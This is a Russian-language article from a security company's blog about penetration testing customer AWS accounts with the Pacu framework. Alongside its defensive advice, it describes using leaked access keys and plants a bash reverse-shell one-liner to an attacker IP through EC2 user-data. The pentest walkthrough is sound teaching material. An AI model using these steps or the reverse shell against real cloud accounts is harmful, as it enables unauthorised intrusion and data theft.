Текст статьи подготовил Сергей Полунин, руководитель группы защиты инфраструктурных ИТ‑решений компании «Газинформсервис». Команда компании «Газинформсервис» более семнадцати лет решает целый ряд сложных задач заказчиков в области комплексного обеспечения информационной безопасности и наработала большой опыт в оказании услуг по тестированию на проникновение. Результаты пентеста, проведенного специалистами компании, помогут определить степень защиты информационных активов вашей организации и принять меры по ее повышению. Подробнее о компании «Газинформсервис» и услугах можно узнать на сайте.
Мир изменился — это признают все. По ту сторону океана компании продают свои серверы и дисковые полки, пока они хоть сколько‑то стоят, и переносят всё в облака, попутно сокращая сисадминов. У нас отношение к облакам тоже меняется, но не очень быстро. Те, кто по разным причинам считают, что доверять облачным провайдерам ни в коем случае нельзя (зато можно доверять своим сисадминам, имеющим доступ примерно ко всему), никуда не исчезли. Для всех остальных существует картинка...
Это для примера Amazon Web Services, но у остальных провайдеров есть почти то же самое. Если кратко, то AWS обещает безопасность и доступность железа и программного обеспечения своих дата‑центров, а вот отвечать за операционные системы, данные, сети, шифрование, приложения, пользовательские данные и все остальное придется самим клиентам AWS.
Таким образом, в обмен на удобство и существенную экономию денег (не для всех, конечно) мы получили новую поверхность атаки. И дело даже не в том, что сами сервисы AWS могут оказаться уязвимыми (однажды окажутся, не сомневайтесь), а в том, что за видимой простотой настройки системы скрываются банальные ошибки конфигурирования, незаметные на первый взгляд.
К счастью, уже накоплен существенный опыт того, что делать нужно, а чего делать ни в коем случае нельзя. Причем даже на раннем этапе, когда вы только написали свой первый шаблон CloudFormation (или Terraform, или в чем вы это делаете), можно подключить специалистов или даже воспользоваться программным обеспечением, выявляющим ошибки.
Так что с пентестом?
Пентест облачных сред делать можно и нужно! Причем если раньше требовалось подавать уведомление облачным провайдерам, то сейчас можно делать все самостоятельно, когда захочется, главное — не нарушать правил.
В общем, все рекомендации сводятся к «делайте со своими сервисами, что хотите, только не ломайте все вокруг» — DDoS, флудинг, отказ в обслуживании и подобное.
Пентест и ПЕНТЕСТ: есть разница
Если вам предстоит протестировать веб‑серверы, СУБД или просто абстрактные серверы, которые инженеры перенесли в облако, то это мало чем будет отличаться от вашего обычного пентеста. Однако интерес может представлять сама инфраструктура облака, которая бывает некорректно сконфигурирована и открывает доступ сразу ко всем данным заказчика пентеста, а не к отдельным ресурсам.
Сценарии перехода в облака, конечно, бывают очень разные, но типовая облачная инфраструктура (на примере AWS) не обходится без следующих элементов:
- IAM — это сервис управления доступом к службам AWS. Пользователей и их роли вы создаете именно здесь;
- VPC — это виртуальные сети, где размещаются ресурсы. Бывают приватные и открытые. Интересно организовано их соединение между собой через разные шлюзы;
- EC2 — это старые добрые виртуальные машины. Мало чем отличаются от тех, что у вас сейчас в серверной, только EC2 могут почти бесконечно масштабироваться за счет бездонных ресурсов AWS;
- S3 — объектное хранилище, где лежат файлы, логи, бэкапы и так далее.
Стандартом для тестирования AWS сейчас считается фреймворк Pacu от Rhino Security. Работает он на Python 3 и без проблем устанавливается через pip 3.
Добро пожаловать в Pacu
Тестировать на проникновение мы будем, конечно, не саму AWS, а аккаунт клиента.
Для начала нам нужно указать учетную запись, так как взаимодействие с инфраструктурой AWS возможно двумя способами: через веб‑интерфейс или через ключ пользователя. Ключ состоит из двух частей: идентификатора (Access key ID) и секретного ключа (Secret access key). Пытаться проникнуть в веб‑интерфейс — занятие неблагодарное. Обычно даже в самых запущенных случаях доступ туда имеют несколько человек и к их аккаунтам подключена двухфакторная аутентификация. А вот найти чей‑нибудь ключ на просторах GitHub или в исходном коде вполне реально. Вряд ли это будет root, конечно.
Давай запустим Pacu с найденными учетными данными.
Начинаем мы, как правило, с определения, какие привилегии нам достались. Делается это через модуль iam__bruteforce_permissions.
Отлично! Теперь мы видим, что нам доступно.
Кроме этого, с помощью модуля ec2__enum можно поискать виртуальные машины во всех VPC. Если очень повезет, мы увидим виртуальную машину, метаданные которой можно редактировать. С помощью ec2__run_startup_shell_script можно изменить user-data такой машины и положить в автозагрузку что‑то вроде
#!/bin/bashbash -I > & /dev/tcp/<ваш-IP>/6666 0>&1
Теперь можем получить реверс‑шелл при следующем старте виртуальной машины. Довольно просто.
Можно попробовать изучить и другие модули Pacu. Например, попробовать добавить кастомные ключи другим пользователям, или скачать логи CloudWatch и CloudTrail, или посмотреть на открытые S3 (очень часто их используют для совместной работы с файлами или хостинга статических сайтов).
Вывод напрашивается сам собой: уязвимости в самих службах AWS вы вряд ли найдете, а вот получить доступ в систему из‑за ошибок конфигурирования — это вполне возможно. В облака переезжают многие, но тратить время на изучение механизмов безопасности готовы отнюдь не все.
Как правило, вы платите облачному провайдеру за вычислительные мощности. Если злоумышленники получат доступ к вашей облачной инфраструктуре, то вы можете не только потерять данные, репутацию и столкнуться с другими последствиями взлома — есть реальный шанс лишиться огромного количества денег, например если в вашем аккаунте начнут майнить криптовалюту. Конечно, есть вероятность вернуть деньги после расследования инцидента, но не всегда.
Поэтому важно уделить внимание безопасности облака на старте — закрыть возможные слабые места в системе. Если в компании есть специалисты, способные провести такую работу, можно организовать ее силами сотрудников, а если нет, обратитесь к профессионалам!
